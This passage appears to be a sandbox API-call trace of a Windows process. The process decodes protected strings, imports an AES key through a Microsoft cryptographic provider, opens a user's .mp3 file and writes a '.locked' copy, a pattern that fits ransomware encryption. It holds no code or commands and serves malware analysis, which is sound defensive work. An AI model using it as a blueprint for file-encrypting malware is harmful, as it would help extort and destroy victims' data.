(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.566] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.566] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.566] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.566] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.566] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.566] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.567] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.567] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.567] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.567] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.567] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.567] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.567] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.567] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.567] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.568] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.568] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.572] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.572] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.572] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.572] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.572] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.572] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.572] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.572] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.572] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.572] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.573] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.573] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.573] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.573] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.573] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.573] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.573] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.573] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.573] SystemFunction041 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.573] SystemFunction040 (in: Memory=0x4383b24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383b24) returned 0x0 [0133.573] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.573] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.574] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.574] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.575] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0133.575] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0133.576] CryptImportKey (in: hProv=0x43964e8, pbData=0x6ad27dc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c78) returned 1 [0133.576] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.576] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.576] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.576] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.576] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.578] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 0x20 [0133.578] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 0x20 [0133.578] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.578] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.578] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.578] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.579] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.579] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.579] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.579] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.579] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.579] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.579] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.580] GetFileType (hFile=0x858) returned 0x1 [0133.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.580] GetFileType (hFile=0x858) returned 0x1 [0133.580] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.580] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.580] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.580] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.580] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.580] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", lpFilePart=0x0) returned 0x47 [0133.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.581] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.581] GetFileType (hFile=0x874) returned 0x1 [0133.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.581] GetFileType (hFile=0x874) returned 0x1 [0133.581] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.581] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6aea5a4 | out: pbBuffer=0x6aea5a4) returned 1 [0133.581] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.582] CryptDuplicateKey (in: hKey=0x8e84c78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84e38) returned 1 [0133.582] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.582] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x4, pbData=0x6aeb860*=0x1, dwFlags=0x0) returned 1 [0133.582] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x1, pbData=0x6aeb82c, dwFlags=0x0) returned 1 [0133.582] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x17f0\x438\x242") returned 0x0 [0133.582] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.582] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x19, 